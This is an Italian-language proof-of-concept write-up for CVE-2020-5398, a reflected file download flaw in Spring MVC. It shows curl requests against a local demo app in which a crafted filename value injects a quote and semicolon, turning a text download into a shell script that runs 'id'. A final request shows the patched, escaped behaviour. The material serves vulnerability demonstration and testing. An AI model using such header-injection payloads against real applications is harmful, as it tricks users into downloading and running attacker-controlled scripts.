
CVE-2020-5398 - Attacco RFD (Reflected File Download) per Spring MVC
In Spring Framework, le versioni 5.2.x precedenti alla 5.2.3, le versioni 5.1.x precedenti alla 5.1.13 e le versioni 5.0.x precedenti alla 5.0.16 rendono un'applicazione vulnerabile a un attacco di tipo reflected file download (RFD) quando viene impostata un'intestazione “Content-Disposition” nella risposta in cui l'attributo filename deriva da un input fornito dall'utente.
./gradlew bootrun
In ascolto su 127.0.0.1:8080.
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT
Hello, World
Avvia il download del file sample.txt.
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
Avvia il download del file sample.sh. (File shell)
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT
#!/bin/bash
id
Avvia il download del file sample.sh";.txt. (File di testo)